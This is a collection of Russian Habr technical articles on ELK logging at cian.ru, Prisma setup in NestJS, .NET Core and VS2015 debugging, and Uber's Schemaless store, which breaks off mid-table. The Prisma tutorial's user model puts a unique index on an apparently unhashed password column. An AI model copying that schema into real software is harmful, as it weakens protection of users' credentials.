Последние несколько лет нагрузка на cian.ru росла очень быстро, и к третьему кварталу 2018 года посещаемость ресурса достигла 11.2 млн уникальных пользователей в месяц. В то время в критические моменты мы теряли до 40% логов, из-за чего не могли оперативно разбираться с инцидентами и тратили очень много времени и сил на их решение. Еще мы часто не могли найти причину проблемы, и она повторялась спустя какое-то время. Это был ад, с которым надо было что-то делать.
На тот момент для хранения логов мы использовали кластер из 10 дата-нод с ElasticSearch версии 5.5.2 с типовыми настройками индексов. Его внедрили больше года назад как популярное и доступное решение: тогда поток логов был не такой большой, смысла придумывать нестандартные конфигурации не было.
Обработку входящих логов обеспечивал Logstash на разных портах на пяти координаторах ElasticSearch. Один индекс, независимо от размера, состоял из пяти шардов. Была организована почасовая и дневная ротация, в результате каждый час в кластере появлялось порядка 100 новых шардов. Пока логов было не очень много, кластер справлялся и на его настройках никто не заострял внимания.
### Проблемы быстрого роста
Объем сгенерированных логов рос очень быстро, так как друг на друга наложились два процесса. С одной стороны, пользователей у сервиса становилось все больше. А с другой, мы начали активно переходить на микросервисную архитектуру, распиливая наши старые монолиты на C# и Python. Несколько десятков новых микросервисов, заменявших части монолита, генерировали заметно больше логов для инфраструктурного кластера.
Именно масштабирование и привело нас к тому, что кластер стал практически неуправляем. Когда логи начали поступать со скоростью 20 тыс. сообщений в секунду, частая бесполезная ротация увеличила количество шардов до 6 тысяч, а на одну ноду приходилось более 600 шардов.
Это приводило к проблемам с выделением оперативной памяти, а при падении ноды начинался одновременный переезд всех шардов, умножающий трафик и нагружающий остальные ноды, что делало практически невозможной запись данных в кластер. И в этот период мы оставались без логов. А при проблеме с сервером мы теряли 1/10 кластера в принципе. Добавляло сложностей большое количество индексов маленького размера.
Без логов мы не понимали причин инцидента и могли рано или поздно наступить на те же грабли снова, а в идеологии нашей команды это было недопустимо, так как все механизмы работы у нас заточены как раз на обратное — никогда не повторять одни и те же проблемы. Для этого нам был нужен полный объем логов и доставка их практически в режиме реального времени, так как команда дежурных инженеров мониторила алерты не только от метрик, но и от логов. Для понимания масштабов проблемы — на тот момент общий объем логов составлял порядка 2 Тб в сутки.
Мы поставили задачу — полностью исключить потерю логов и сократить время их доставки в кластер ELK максимум до 15 минут во время форс-мажоров (на эту цифру в дальнейшем мы опирались, как на внутренний KPI).
### Новый механизм ротации и hot-warm ноды
Преобразование кластера мы начали с обновления версии ElasticSearch с 5.5.2 на 6.4.3. У нас в очередной раз лег кластер 5 версии, и мы решили его погасить и полностью обновить — логов-то все равно нет. Так что этот переход мы совершили всего за пару часов.
Самым масштабным преобразованием на этом этапе стало внедрение на трех нодах с координатором в качестве промежуточного буфера Apache Kafka. Брокер сообщений избавил нас от потери логов во время проблем с ElasticSearch. Одновременно мы добавили в кластер 2 ноды и перешли на hot-warm архитектуру с тремя «горячими» нодами, расставленными в разных стойках в дата-центре. На них мы по маске перенаправили логи, которые нельзя терять ни в коем случае — nginx, а также логи ошибок приложений. На остальные ноды уходили минорные логи — debug, warning и т. п., а также через 24 часа переезжали «важные» логи с «горячих» нод.
Чтобы не увеличивать количество индексов малого размера, мы перешли с ротации по времени на механизм rollover. На форумах было много информации о том, что ротация по размеру индекса очень ненадежна, поэтому мы решили использовать ротацию по количеству документов в индексе. Мы проанализировали каждый индекс и зафиксировали количество документов, после которого должна срабатывать ротация. Таким образом мы достигли оптимального размера шарда — не более 50 Гб.
### Оптимизация кластера
Однако полностью от проблем мы не избавились. К сожалению, все равно появлялись маленькие индексы: они не достигали заданного объема, не ротировались и удалялись глобальной очисткой индексов старше трех дней, так как мы убрали ротацию по дате. Это приводило к потере данных из-за того, что индекс из кластера исчезал полностью, а попытка записи в несуществующий индекс ломала логику curator’а, который мы использовали для управления. Alias для записи преобразовывался в индекс и ломал логику rollover’а, вызывая бесконтрольный рост некоторых индексов до 600 Гб.
Например, для конфига ротации:
```
сurator-elk-rollover.yaml
---
actions:
1:
action: rollover
options:
name: "nginx_write"
conditions:
max_docs: 100000000
2:
action: rollover
options:
name: "python_error_write"
conditions:
max_docs: 10000000
```
При отсутствии rollover alias возникала ошибка:
```
ERROR alias "nginx_write" not found.
ERROR Failed to complete action: rollover. : Unable to perform index rollover with alias "nginx\_write".
```
Решение этой проблемы мы оставили на следующую итерацию и занялись другим вопросом: перешли на pull логику работы Logstash, занимающегося обработкой входящих логов (удалением лишней информации и обогащением). Мы поместили его в docker, который запускаем через docker-compose, там же разместили logstash-exporter, который отдает метрики в Prometheus для оперативного мониторинга потока логов. Так мы дали себе возможность плавно менять количество инстансов logstash, отвечающих за обработку каждого вида логов.
Пока мы совершенствовали кластер, посещаемость cian.ru выросла до 12,8 млн уникальных пользователей в месяц. В результате получилось, что наши преобразования немного не успевали за изменениями на продакшене, и мы столкнулись с тем, что «теплые» ноды не справлялись с нагрузкой и тормозили всю доставку логов. «Горячие» данные мы получали без сбоев, но в доставку остальных приходилось вмешиваться и делать ручной rollover, чтобы равномерно распределять индексы.
При этом масштабирование и изменение настроек инстансов logstash в кластере осложнялось тем, что это был локальный docker-compose, и все действия выполнялись руками (для добавления новых концов необходимо было руками пройти по всем серверам и везде сделать docker-compose up -d).
### Перераспределение логов
В сентябре этого года мы все еще продолжали распиливать монолит, нагрузка на кластер возрастала, а поток логов приближался к 30 тысячам сообщений в секунду.
Следующую итерацию мы начали с обновления железа. С пяти координаторов мы перешли на три, заменили дата-ноды и выиграли по деньгам и по объему хранилища. Для нод мы используем две конфигурации:
* Для «горячих» нод: E3-1270 v6 / 960Gb SSD / 32 Gb x 3 x 2 (3 для Hot1 и 3 для Hot2).
* Для «теплых» нод: E3-1230 v6 / 4Tb SSD / 32 Gb x 4.
На этой итерации мы вынесли индекс с access-логами микросервисов, который занимает столько же места, сколько логи фронтовых nginx, во вторую группу из трех «горячих» нод. Данные на «горячих» нодах мы теперь храним 20 часов, а затем переносим на «теплые» к остальным логам.
Проблему исчезновения маленьких индексов мы решили перенастройкой их ротации. Теперь индексы ротируются в любом случае каждые 23 часа, даже если там мало данных. Это немного увеличило количество шардов (их стало порядка 800), но с точки зрения производительности кластера это терпимо.
В результате в кластере получилось шесть «горячих» и всего четыре «теплых» ноды. Это вызывает небольшую задержку на запросах по большим интервалам времени, но увеличение числа нод в будущем решит эту проблему.
В этой итерации исправили и проблему отсутствия полуавтоматического масштабирования. Для этого мы развернули инфраструктурный Nomad кластер — аналогичный тому, что уже развернут у нас на продакшен. Пока количество Logstash автоматически не изменяется в зависимости от нагрузки, но мы придем и к этому.
### Планы на будущее
Реализованная конфигурация отлично масштабируется, и сейчас мы храним 13,3 Тб данных — все логи за 4 суток, что необходимо для экстренного разбора алертов. Часть логов мы преобразуем в метрики, которые складываем в Graphite. Чтобы облегчить работу инженеров, у нас есть метрики для инфраструктурного кластера и скрипты для полуавтоматической починки типичных проблем. После увеличения количества дата-нод, которое запланировано на следующий год, мы перейдем на хранение данных с 4 до 7 дней. Этого будет достаточно для оперативной работы, так как мы всегда стараемся расследовать инциденты как можно скорее, а для долгосрочных расследований есть данные телеметрии.
В октябре 2019 года посещаемость cian.ru выросла уже до 15,3 млн уникальных пользователей в месяц. Это стало серьезной проверкой архитектурного решения по доставке логов.
Сейчас мы готовимся обновить ElasticSearch до версии 7. Правда, для этого придется обновлять mapping многих индексов в ElasticSearch, т. к. они переехали с версии 5.5 и были объявлены как deprecated в 6 версии (в 7 версии их просто нет). А это значит, что в процессе обновления обязательно будет какой-нибудь форс-мажор, который на время решения вопроса оставит нас без логов. Из 7 версии больше всего ждем Kibana с улучшенным интерфейсом и новыми фильтрами.
Основной цели мы достигли: перестали терять логи и сократили время простоя инфраструктурного кластера с 2-3 падений в неделю до пары часов сервисных работ в месяц. Вся эта работа на продакшене почти незаметна. Однако теперь мы можем точно определить, что происходит с нашим сервисом, можем быстро делать это в спокойном режиме и не переживать, что логи потеряются. В общем, мы довольны, счастливы и готовимся к новым подвигам, о которых расскажем позже. | https://habr.com/ru/post/478564/ | null | ru | null |
# Prisma — как подключить в Nest-проекте
### Prisma - установка в проект
Установка поддержки [Prisma](https://www.prisma.io/) в [NestJS](https://nestjs.com/)-проекте выполняется очень просто - при помощи **двух** команд.
**Первая** - устанавливает клиентскую часть Prisma:
`$ npm i @prisma/client`
... **вторая** команда - устанавливает cli-часть Prisma:
`$ npm i -D prisma`
После этого - нужно запустить команду для инициализации Prisma в текущем проекте:
`$ npx prisma init`
В результате в корне проекта будет создана папка `prisma`, внутри которой будет находиться файл `schema.prisma` для настройки подключения Prisma к базе данных (*и не только*).
Содержимое файла `schema.prisma` очень простое:
```
// This is your Prisma schema file,
// learn more about it in the docs: https://pris.ly/d/prisma-schema
generator client {
provider = "prisma-client-js"
}
datasource db {
provider = "postgresql"
url = env("DATABASE_URL")
}
```
Наиболее существенные здесь две вещи - это драйвер `postgresql` для подключения к базе данных PostgreSQL (*по умолчанию используется подключение именно к PostgreSQL*). Если база данных другая - MySQL и тп - то меняем на нужный драйвер.
Вторая - это строка `url`, которая используется как настроечный файл для подключения к базе данных. Эта строка (в виде переменной `DATABASE_URL`) хранится в файле `.env`, который также автоматически создается Prisma при инициализации.
Если посмотреть на содержимое файла `.env`, то он будет таким:
```
# Environment variables declared in this file are automatically made available to Prisma.
# See the documentation for more detail: https://pris.ly/d/prisma-schema#accessing-environment-variables-from-the-schema
# Prisma supports the native connection string format for PostgreSQL, MySQL, SQLite, SQL Server, MongoDB (Preview) and CockroachDB (Preview).
# See the documentation for all the connection string options: https://pris.ly/d/connection-strings
DATABASE_URL="postgresql://johndoe:randompassword@localhost:5432/mydb?schema=public"
```
То есть - в одной строке - выполняется полная настройка подключения к существующей базе данных. В моем (*учебном*) случае это выглядит таким образом:
```
DATABASE_URL="postgresql://postgres:123@localhost:5432/udemy_medium_clone?schema=public"
```
То есть - `postgres` - имя пользователя базы данных; `123` - пароль пользователя базы данных; `udemy_medium_clone` - имя базы данных.
Откуда я взял \ узнал эти данные? Просто я заранее создал учебную базу данных в PostgreSQL, у себя локально (в моем случае):
```
postgres=# CREATE DATABASE udemy_medium_clone;
CREATE DATABASE
postgres=# \c udemy_medium_clone
You are now connected to database "udemy_medium_clone" as user "postgres".
udemy_medium_clone=# \conninfo
You are connected to database "udemy_medium_clone" as user "postgres" via socket in "/var/run/postgresql" at port "5432".
```
`localhost:5432` - я оставил по умолчанию, так как - у меня PostgreSQL также по умолчанию слушает этот порт.
Не забываем добавить файл `.env` в `.gitignore`, чтобы данные не засветились на удаленном репозитории - и все, основная настройка Prisma завершена.
#### Prisma - миграция баз данных
В моем случае - база данных `udemy_medium_clone` - чистая, в ней пока нет никаких таблиц. Это можно исправить **двумя** способами.
**Первый** - создать таблицу в базе данных силами самого SQL и затем выполнить преобразование таблицы в модель данных (Prisma schema) в проекте - командой:
$ `prisma db pull`
**Второй** - наоборот, создать модель данных Prisma в проекте и затем мигрировать ее в PostgreSQL, что автоматически приведет к созданию такой таблицы в базе данных.
Давайте поступим по **второму** варианту. Создадим в файле `schema.prisma` модель данных пользователя будущего приложения:
```
// This is your Prisma schema file,
// learn more about it in the docs: https://pris.ly/d/prisma-schema
generator client {
provider = "prisma-client-js"
}
datasource db {
provider = "postgresql"
url = env("DATABASE_URL")
}
model Users {
id Int @id @default(autoincrement())
email String @unique @db.VarChar(255)
bio String?
image String? @db.VarChar(500)
password String @unique @db.VarChar(255)
username String @unique @db.VarChar(255)
@@map("users")
}
```
Кстати - под Visual Studio Code и WebStorm - есть специальные плагины для подсветки синтаксиса и форматирования файлов с расширением `*.prisma`:
* [Prisma VS Code Extension](https://marketplace.visualstudio.com/items?itemName=Prisma.prisma)
* [Prisma](https://plugins.jetbrains.com/plugin/14240-prisma)
... для Visual Studio Code плагин работает отлично, для WebStorm - так себе.
И все - можно выполнить миграцию в базу данных командой:
`$ npx prisma migrate dev --name users`
... где `--name users` - это имя конкретной миграции, чтобы можно было локально увидеть и отследить эту операцию. По выполнении Prisma выведет в консоль отчет об успешной операции:
```
Environment variables loaded from .env
Prisma schema loaded from prisma/schema.prisma
Datasource "db": PostgreSQL database "udemy_medium_clone", schema "public" at "localhost:5432"
Applying migration `20220223160632_users`
The following migration(s) have been created and applied from new schema changes:
migrations/
└─ 20220223160632_users/
└─ migration.sql
Your database is now in sync with your schema.
✔ Generated Prisma Client (3.10.0 | library) to ./node_modules/@prisma/client in 75ms
```
Как видно из отчета, Prisma создала подпапку `migrations`, внутри которой будут находиться - папки с детальной информацией - по каждой конкретной миграции.
В моем случае - это будет папка `20220223160632_users` (помним о ключе `--name users`) и внутри этой папки - любопытный файлик `migration.sql`.
Если открыть этот файлик, то увидим не что иное, как набор обычных SQL-команд по созданию таблицы базы данных:
```
-- CreateTable
CREATE TABLE "users" (
"id" SERIAL NOT NULL,
"email" VARCHAR(255) NOT NULL,
"bio" TEXT,
"image" VARCHAR(500),
"password" VARCHAR(255) NOT NULL,
"username" VARCHAR(255) NOT NULL,
CONSTRAINT "users_pkey" PRIMARY KEY ("id")
);
-- CreateIndex
CREATE UNIQUE INDEX "users_email_key" ON "users"("email");
-- CreateIndex
CREATE UNIQUE INDEX "users_password_key" ON "users"("password");
-- CreateIndex
CREATE UNIQUE INDEX "users_username_key" ON "users"("username");
```
То есть, по факту - сперва была выполнена операция по преобразованию Prisma-модели в такой SQL-запрос, а уже потом - этот запрос выполнился и была создана таблица в базе данных.
Думаю, стоит обратить внимание на тот момент, что созданный файл миграции - нужно *проверять всегда*, на предмет возможных косяков при его генерации. Кривая миграция может уничтожить терабайт данных, а бэкап при этом - не успел создасться. На что стоит обратить внимание - это правильность создания *индексов* и *foreign keys*. И так как в данном скромном мануале используется PostgreSQL, то не лишним будет - указать ссылку на [оф документацию](https://postgrespro.ru/docs/postgresql) по этой БД.
И так, а давайте проверим, так ли это на самом деле - что таблица была успешно создана в базе данных? Легко!
```
udemy_medium_clone=# \d
List of relations
Schema | Name | Type | Owner
--------+--------------------+----------+----------
public | _prisma_migrations | table | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(3 rows)
```
... правда - таблица `users` была создана. А давайте посмотрим - что из себя представляет эта таблица `users`:
```
udemy_medium_clone=# \d users
Table "public.users"
Column | Type | Collation | Nullable | Default
----------+------------------------+-----------+----------+-----------------------------------
id | integer | | not null | nextval('users_id_seq'::regclass)
email | character varying(255) | | not null |
bio | text | | |
image | character varying(500) | | |
password | character varying(255) | | not null |
username | character varying(255) | | not null |
Indexes:
"users_pkey" PRIMARY KEY, btree (id)
"users_email_key" UNIQUE, btree (email)
"users_password_key" UNIQUE, btree (password)
"users_username_key" UNIQUE, btree (username)
```
... хм, очень похоже на правду - это именно такая таблица, какую я спроектировал в качестве модели в Prisma.
#### Заключение
Ну вот в принципе и все - [Prisma](https://www.prisma.io/) установлена в проекте, успешно настроено ее подключение к конкретной базе данных; создана модель данных и выполнена успешная миграция ее в таблицу в базе данных.
Конечно же, есть еще один инструмент для работы с базой данных в [NestJS](https://nestjs.com/) - это [TypeORM](https://typeorm.io/#/). | https://habr.com/ru/post/653399/ | null | ru | null |
# Экспериментальная функция отладки .NET Core в Visual Studio Code
Сегодня мы выпускаем первую, экспериментальную и ознакомительную версию отладчика для [набора инструментов ASP.NET Core CLI](http://www.hanselman.com/blog/ExploringTheNewNETDotnetCommandLineInterfaceCLI.aspx) в составе редактора Visual Studio Code. Вначале я должен упомянуть несколько вещей:
* Поддерживается только новая ознакомительная версия [набора инструментов .NET Core CLI](http://www.hanselman.com/blog/ExploringTheNewNETDotnetCommandLineInterfaceCLI.aspx); поддержка не распространяется на текущие функции DNX (подробнее об изменениях — в [этой публикации блога разработчиков ASP.NET с вопросами и ответами](https://blogs.msdn.microsoft.com/webdev/2016/02/01/an-update-on-asp-net-core-and-net-core/)).
* Функция IntelliSense VS Code пока не поддерживает инструменты .NET CLI. Поэтому при отладке проектов CLI IntelliSense будет недоступен.
Этот первый выпуск поддерживает точки останова, пошаговое выполнение, отслеживание переменных и стеки вызовов.
Однако, .NET Core и функции отладки находятся на ранних этапах разработки, поэтому в VS Code отсутствует ряд возможностей, привычных для пользователей IDE Visual Studio. Вот некоторые особенности редактора:
* В начале отладки не открывается отдельное окно консоли: все возвращаемые программой данные отображаются в окне Debug Console (Консоль отладки) редактора VS Code. Для использования функции Console.ReadLine в консоли необходимо запустить приложение посредством *dotnet**run* вне среды VS Code, а затем подключить отладчик.
* Отсутствие функции Edit & Continue (Редактировать и продолжить): нельзя изменить код и применить изменения в ходе отладки.
* Нельзя менять значения переменных в ходе отладки.
* Отсутствуют точки трассировки и условные точки останова.
* Функция Set Next Statement (Задать следующую инструкцию) не поддерживается
Мы с нетерпением ждем ваших отзывов, чтобы выбрать наиболее важные для реализации возможности. Подробнее — в конце этой публикации.
### Начало работы
Вначале необходимо выполнить ряд действий ([подробные инструкции приведены на нашей странице GitHub](http://aka.ms/vscclrdebugger)):
* [Установите (или обновитесь до) Visual Studio Code](https://code.visualstudio.com/) версии 0.10.10 или более поздней
* [Установите инструменты .NET CLI](http://dotnet.github.io/getting-started/)
* [Установите расширение C#](https://microsoft.gallery.vsassets.io/items?itemName=ms-vscode.csharp)
* Откройте любой файл .cs в среде VS Code, чтобы загрузить расширение и завершить установку (ход выполнения можно отслеживать в панели Output (Выход))
* [Установите mono](http://www.mono-project.com/docs/getting-started/install/)
#### Возможности отладки
* Точки останова — возможность установки точек останова одним щелчком (или клавишей F9) в редакторе.
* Контрольные значения — задайте значения, которые необходимо отслеживать.
* Локальные переменные — автоматическое отображение значений локальных переменных.
* Стек вызовов — просмотр информации о вызовах методов в стеке.
* Консоль отладки — содержит все отладочные сообщения (чтобы скрыть или отобразить эту область, нажмите Ctrl+Shift+Y либо Cmd+Shift+Y на компьютере Mac).
* Текущие значения — наведите курсор на переменную, чтобы узнать ее значение.
* Во всех областях отображаются связанные значения: когда вы щелкаете запись в стеке вызовов, среда автоматически переходит к соответствующей строке в редакторе, а также обновляет контрольные значения и локальные переменные
#### Что еще можно настроить для отладки?
После [установки и настройки расширения](http://aka.ms/vscclrdebugger) вам будут доступны базовые возможности отладки, описанные выше. Но с помощью файла launch.json можно настроить намного больше функций.
#### Остановка на точке входа
Если флажок *stopAtEntry* установлен, отладчик автоматически остановится на точке входа в приложение. Это позволит выполнять код по шагам, без настройки точек останова.
### Настройка отладки для приложений ASP.NET
Помимо конфигурации отладки по умолчанию, существует конфигурация *.**NET**Core**Launch* *(**web**)*, которая предоставляет хорошие начальные возможности отладки приложений ASP.NET. Она содержит дополнительный раздел «launchBrowser», который позволяет открывать веб-браузер на компьютере, используемом для разработки, при запуске каждой отладки. Изначально он настроен на использование заданного по умолчанию браузера, но вы можете выбрать другой, изменив команды в файле. Чтобы начать работу и испытать ASP.NET в деле, скачайте образцы ASP.NET CLI с [Github](https://github.com/caslan/cli-samples).
Вот пример настроек файла launch.json для открытия страницы в Opera:
```
…
"osx": {
"command" : "open",
"args" : "-a opera ${auto-detect-url}"
}
…
```
#### Изменение открываемого URL-адреса
Открываемый в браузере URL-адрес также можете изменить. По умолчанию отладчик определяет URL автоматически и переходит по URL-адресу, который прослушивает сервер. Заполнитель *${**auto**-**detect**-**url**}* означает команду найти URL-адрес автоматически. Его можно использовать в любом разделе конфигурации. Если при отладке необходимо использовать только определенный URL-адрес, например, <http://localhost:5000/api/customers/42>, вы можете изменить значение по умолчанию, чтобы не открывать этот адрес вручную.
#### Сценарии подключения
В сценариях подключения интегрируется третий раздел конфигурации. Вам требуется лишь указать имя процесса приложения для отладки. В нашем случае это *HelloWorld*. Если вы запускаете приложение из командной строки с помощью команды *dotnet**run*, перед запуском отладчика убедитесь, что выбрана конфигурация *.**NET**Core**Attach*.
Если под одним именем выполняется несколько процессов, можно указать значение параметра *processId* (идентификатор процесса) вместо *processName* (имя процесса). Не используйте оба свойства одновременно.
#### Скрытые свойства конфигурации
В настоящее время в конфигурации по умолчанию не отображается три дополнительных свойства. Если вы хотите ознакомиться с ними, не углубляясь в документацию, вот подсказка: введите символы *“**o* в launch.json (не забудьте про кавычку в начале), и функция автоматического дополнения отобразит список свойств, содержащих букву «o».
Эта возможность приходится очень кстати в ходе редактирования, но вам может потребоваться неизменно актуальная документация. Как всегда, окончательная истина представлена в коде. Если вы хотите углубиться в детали, обратите внимание на папку установки — в ней содержится файл *package**.**json*. Это главный шаблон любых допустимых конфигураций. Этот простой и понятный файл json позволяет составить очень хорошее представление о конфигурациях, возможных на вашей машине для текущей версии расширения.
**symbolPath**
Параметр «symbolPath» позволяет задать массив путей к символам отладки. Он очень удобен, если символы размещены на центральном сервере или если при разработке используются несколько операционных систем. Символы, сформированные в конкретной операционной системе, можно использовать и в других.
Ниже приведена допустимая конфигурация пути к символам:
```
“symbolPath”:”[ \”/Volumes/symbols\” , \”/OtherVolume/otherSymbols\” ]”
```
**justMyCode**
Если в процессе отладки код выполняется пошагово, то переход в код фреймворка или компонентов, автором которых вы не являетесь, может оказаться излишним. Поэтому мы создали функцию *justMyCode*. По умолчанию она включена, поскольку такое поведение среды при обычной отладке кажется наиболее удобным. Но если вы хотите отладить код фреймворка или внешних компонентов, установите для нее значение «false».
```
“justMyCode”:false
```
**sourceFileMap**
Если нужно указать отладчику на файлы исходного кода для сеанса отладки, задайте таблицу сопоставления с помощью свойства sourceFileMap. Это свойство может содержать любое количество записей. Оно поможет отлаживать именно те файлы исходного кода, которые нужно. Пример конфигурации приведен ниже:
```
“sourceFileMap”: {
“C:\foo\bar”:”/home/me/foo/bar”
}
```
### Отправьте нам отзыв
Как упоминалось в начале, это наш первый экспериментальный выпуск инструментов отладки, и для их улучшения требуется ваша помощь. Если вы хотите регулярно получать новости о нашей работе и отправлять отзывы о разработке приложений .NET Core в Visual Studio Code, вступайте в [группу Visual Studio Code .NET Core Insiders](http://aka.ms/dotnetcoredebug).
Как всегда, мы будем рады вашим отзывам. Расскажите, что вам понравилось, а что нет, каких функций вам не хватает, какие компоненты рабочего процесса вам подошли или не подошли. С нами можно связаться по [электронной почте](mailto:xplatdbgsup@microsoft.com%20), [путем отправки сообщений о проблемах на нашей странице в Github](https://github.com/OmniSharp/omnisharp-vscode/issues) или [через Twitter](https://twitter.com/vs_debugger).
### Об авторе
Дэниель Майкснер (Daniel Meixner) — технический евангелист корпорации Microsoft в Германии. Твердо верит в идеи кроссплатформенности. Его карьера в разработке программного обеспечения была насыщена событиями (как приятными, так и не очень), и он имеет представление об отрасли со множества точек зрения. До перехода в Microsoft он получил статус MVP в области Visual Studio ALM и ALM Ranger, работал консультантом и архитектором решений ALM в корпоративных средах. Познакомьтесь с блогом Дэниеля, [http://DevelopersDevelopersDevelopersDevelopers.NET](http://developersdevelopersdevelopersdevelopers.net/) или подпишитесь на него в [Twitter](https://twitter.com/DanielMeixner).
### Полезные ссылки
* Visual Studio 2015: [бесплатные предложения для разработчиков](https://www.visualstudio.com/ru-ru/products/free-developer-offers-vs.aspx)
* Дополнительные и бесплатные инструменты и службы в программе [Visual Studio Dev Essentials](https://www.visualstudio.com/ru-ru/products/visual-studio-dev-essentials-vs.aspx)
* [Лабораторные работы](https://msdn.microsoft.com/ru-ru/mt627843.aspx) по разработке, тестированию и управлению жизненым циклом ПО для Visual Studio 2015
* [Лабораторные работы](https://channel9.msdn.com/Events/Windows-Camp/Window-Camp-Labs-2015-Russia) по разработке универсальных приложений на Windows 10 | https://habr.com/ru/post/280143/ | null | ru | null |
# Удаленная отладка JavaScript с VS2015. Часть 2
*Предлагаю перевод статьи [«VS2015 Remote Debugging JavaScript – Part 2»](http://blogs.msdn.com/b/prakashpatel/archive/2015/11/04/vs2015-remote-debugging-javascript-part-2.aspx).*
#### Удаленная отладка JS, выполняющегося внутри Web Browser Control
Ранее мы обсуждали то, как можно удаленно отлаживать код JS, выполняющийся в IE. Этот же случай ничем принципиально не отличается, все, что нам нужно, так это выбрать другой целевой процесс для подключения отладчика.
#### Демонстрационная страница HTML
Вот код странички, которую буду использовать для отладки – проще простого. Я сохранил ее как TestLeak.html.
```
body.segoe {
font-family: "Segoe UI", Verdana, serif;
}
function throwError() {
document.getElementById("leakedDiv").appendChild("<p>It worked!</p>"); // Misspelled LeakedDiv (L is upper case)
}
```
#### Демонстрационное приложение WinForms с Web Browser Control
1. Запускаем Visual Studio
2. Создаем новое приложение WinForms
3. Для примера называем проект TestApp и, в случае необходимости, дополнительно конфигурируем
4. Создаем простую форму с 2 кнопками, 1 полем ввода и 1 элементом управления WebBrowserControl, задаем названия и текст
5. Добавляем следующий код в качестве обработчиков событий нажатия для кнопок Refresh и OK:
```
private void button1_Click(object sender, EventArgs e)
{
if (!String.IsNullOrWhiteSpace(textBox1.Text))
webBrowser1.Navigate(textBox1.Text);
}
private void button2_Click(object sender, EventArgs e)
{
webBrowser1.Refresh(WebBrowserRefreshOption.Completely);
}
```
6. Теперь компилируйте приложение и скопируйте его на целевую удаленную машину
#### Подключаем VS 2015 к VS 2015 Remote Debugger на целевой машине
1. Запустите приложение на целевой машине, где также установлен VS 2015 Remote Debugger
2. На машине разработчика откройте VS 2015. Нажмите ***Debug*** -> ****Attach to Process…****
3. В окне ***Attach*** ***to*** ***Process*** укажите имя целевой машины в поле ***Qualifier***. Либо нажмите на ***Find******…*** для поиска машины в домене. В нашем случае, имя **ContosoDev2**
4. По умолчанию список не будет обновлен, посему нажмите **Refresh**, чтобы увидеть список запущенных процессов. В случае необходимости отладки приложения. Запущенного другим пользователем, установите флажок для опции ***Show*** ***processes*** ***from*** ***all*** ***users***.
5. Выберите целевой процесс и нажмите кнопку ***Attach***. Удостоверьтесь в том, что «Script» отображается в колонке Type для процесса. По умолчанию, опции Script и Managed Code Debugging будут выбраны VS 2015
6. Visual Studio предупредит нас о возможных угрозах безопасности при подключении к удаленному процессу. Нажимаем Attach
7. После успешного соединения мы должны увидеть страницу *TestLeak**.**html* в окне *VS**2015* *Solution* **Explorer**
8. Теперь нажимаем кнопку «Throw an error» на странице
9. И наблюдаем приостановку выполнения в отладчике. То, что нам и было нужно!
#### Исходные коды демонстрационного проекта
* [TespApp.zip](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-47-39-Samples/1362.TestApp.zip)
* [TestLeak.html](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-47-39-Samples/0081.TestLeak.html) | https://habr.com/ru/post/276897/ | null | ru | null |
# Проектирование Schemaless хранилища данных Uber Engineering с использованием MySQL
Designing Schemaless, Uber Engineering’s Scalable Datastore Using MySQL
-----------------------------------------------------------------------
*By Jakob Holdgaard Thomsen*
January 12, 2016
<https://eng.uber.com/schemaless-part-one/>
Проектирование Schemaless хранилища данных Uber Engineering с использованием MySQL. Это первая часть из трех частей серии статей о Schemaless хранилище данных.
В Project Mezzanine [мы описали](http://eng.uber.com/mezzanine-migration/), как мы перенесли данные о поездках Uber из одного экземпляра Postgres в Schemaless — наше высокопроизводительное и надежное хранилище данных. В этой статье описывается его архитектура, роль в инфраструктуре Uber и история проектирования.
### Борьба за новую базу данных
В начале 2014 года у нас исчерпывались ресурсы базы данных из-за увеличения количества поездок. Каждый новый город, каждая новая поездка вели нас к пропасти, пока однажды мы не поняли, что инфраструктура Uber не сможет функционировать к концу года — мы просто не могли хранить достаточное количество данных о поездках с помощью Postgres. Наша задача состояла в том, чтобы изменить технологии баз данных в Uber, задача, которая заняла много месяцев, и к решению которой мы привлекли большое коичество инженеров из наших офисов по всему миру.
Но постойте, зачем строить масштабируемое хранилище данных, когда существует множество коммерческих решений и решений с открытым исходным кодом? У нас было пять ключевых требований к нашему новому хранилищу данных:
**Наше хранилище данных должно было иметь возможность линейно наращивать емкость**, добавлением новых серверов, чего не хватало в нашей установке Postgres. Добавление новых серверов должно как увеличивать доступное дисковое пространство, так и уменьшать время отклика системы.
**Нам нужна высокая доступность хранилища данных при записи**. Ранее мы реализовали простой буферный механизм с Redis, поэтому, если запись в Postgres прошла со сбоем, мы могли повторить попытку позже, так как поездка была сохранена в Redis. В тот промежуток времени, когда запись была сохранена в Redis и еще не была сохранена в Postgres, мы теряли функциональность, такую как выставление счетов. Досадно, но, по крайней мере, мы не потеряли поездку! Со временем Uber вырос, а наше решение на основе Redis не масштабируемо. Schemaless хранилище данных должно было поддерживать механизм, аналогичный нашему решению с Redis, но обеспечивать read-your-write consistency.
**Нам нужен способ обмена сообщениями с зависимыми компонентами**. В работающей на тот момент системе, мы работали с зависимыми компонентами последовательно в рамках одного процесса (например, биллинг, аналитика и т. д.). Это был процесс, подверженный ошибкам: если какой-либо шаг процесса не удавался, нам приходилось повторять попытку с самого начала, даже если некоторые шаги процесса были успешными. Это не масштабировалось, поэтому мы хотели разбить процессы на изолированные подчиненные процессы, которые запускались бы в ответ на изменение данных. У нас уже была асинхронная система сообщений, основанная на Kafka 0.7. Но мы не смогли запустить ее без потери данных, поэтому мы приветствовали бы новую систему, которая имела нечто подобное, но могла работать без потери данных.
**Нам нужны вторичные индексы**. Мы отходили от Postgres, однако, новое хранилище данных должно было поддерживать индексы на уровне Postgres, что позволило бы так же эффективно выполнять поиск по вторичным индексам.
**Нам нужна абсолютно надежная система**, так как она содержит критически важные данные о поездке. Если в 3 часа утра нам скажут, что наше хранилище данных не отвечает на запросы и наш бизнес разрушен, будет ли у нас оперативная информация, чтобы быстро его восстановить?
В свете вышеизложенного мы проанализировали преимущества и потенциальные ограничения некоторых альтернативных широко используемых систем, таких как Cassandra, Riak, MongoDB и т. д. В целях иллюстрации ниже приведена диаграмма, показывающая различные комбинации возможностей различных систем (прим. в таблице автор не приводит наименования конкретных продуктов):
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| | Линейная расширяемость | Доступность для записи | Обмен сообщениями | Вторичные индексы | Надежность |
